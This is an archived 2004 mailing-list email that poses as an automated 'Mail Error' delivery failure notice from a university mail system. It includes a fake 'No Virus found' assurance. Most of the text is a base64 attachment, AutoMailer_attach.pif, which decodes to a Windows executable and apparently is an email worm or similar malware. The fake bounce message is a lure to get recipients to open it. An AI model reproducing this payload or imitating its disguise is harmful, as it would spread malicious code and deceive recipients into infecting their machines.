From AutoMailer@cs.washington.edu Sat May 1 08:00:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 01 May 2004 08:01:01 -0700 (PDT) Received: from localhorst.edu (pD95F1E50.dip.t-dialin.net [217.95.30.80]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i41F0nKO009023; Sat, 1 May 2004 08:00:50 -0700 Date: Sat, 1 May 2004 08:00:49 -0700 From: AutoMailer@cs.washington.edu To: Account@oss.sgi.com Subject: Mail Error Importance: Normal X-Priority: 3 (Normal) Message-ID: <70c3697fc84fdf.8133f.qmail@cs.washington.edu> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="======bdddbcdbbebeaaafbefeede" X-archive-position: 4998 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: AutoMailer@cs.washington.edu Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --======bdddbcdbbebeaaafbefeede *** Auto Mail Delivery System *** 67.28.114.32_failed_after_I_sent_the_message./Remote_host_said:_554_delivery_error:_dd_Sorry_your_message_cannot_be_delivered._This_account_has_been_disabled_or_discontinued_[#102]._-_mta134.mail.dcn.com ** End of Transmission The original message is a separate attachment. --- Web: http://www.cs.washington.edu --- Mail To: UserHelp@cs.washington.edu *** Mail Scanner: No Virus found *** OSS.SGI Anti Virus *** http://www.oss.sgi.com --======bdddbcdbbebeaaafbefeede Content-Type: application/octet-stream; name=AutoMailer_attach.pif Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="AutoMailer_attach.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADNwnnaiaMXiYmjF4mJoxeJCr8ZiYijF4ngvB6JjaMXiQC8GomIoxeJUmlj aImjF4kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQRQAATAEDABHRb0AAAAAAAAAAAOAADwELAQYA AKAAAAAQAAAA4AEAUIwCAADwAQAAkAIAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAACgAgAA EAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAECSAgCcAAAAAJACAEAC AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWGWQQAAAAA AOABAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOAFaAWEAAAAAACgAAAA8AEAAJ4AAAAEAAAA AAAAAAAAAAAAAABAAADgLnJzcmMAAAAAEAAAAJACAAAEAAAAogAAAAAAAAAAAAAAAAAAQAAAwAAA AAAAAAAATJWbm56LSExZjZaNlEhMWFmNlo2USEybkJGVj4mYkUiMl4tIS52bjZqLl5aOkY9hoEhM i5yOlZeWSExZWVlITJGUoV5eYEhMnImbk15gYEhMmo2PXl9gSEyTjZqWjZReXkiRjaCYlJeajUiW jZybjZqekYuNm0ifkZaamItIn5GWkI2UmEifkZaPiZyNSJ+RloyakZ6NmkiaiZ6Vl5aMSIqKjYmP lI1In5GWjJSUop2YSIqPoJyMlJRIm6Gbn5qdllygSJ+Rlp2YjEiblZtIm4uJlVtaSJuhm5yNlUiJ npial5yNi5xhoEidm4qHjEiRkVxdXZaSXEhNiZ6YmpecjYucSJyJm5OVl5ZIjaCYlJeajZpIkZac mo2WiZxImo2PjYyRnEiboZuVl5ZIl5aMjUiajYmMlY1IkVmanV9cllxIj5eMl0iPl1ldXJdIn5GW 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 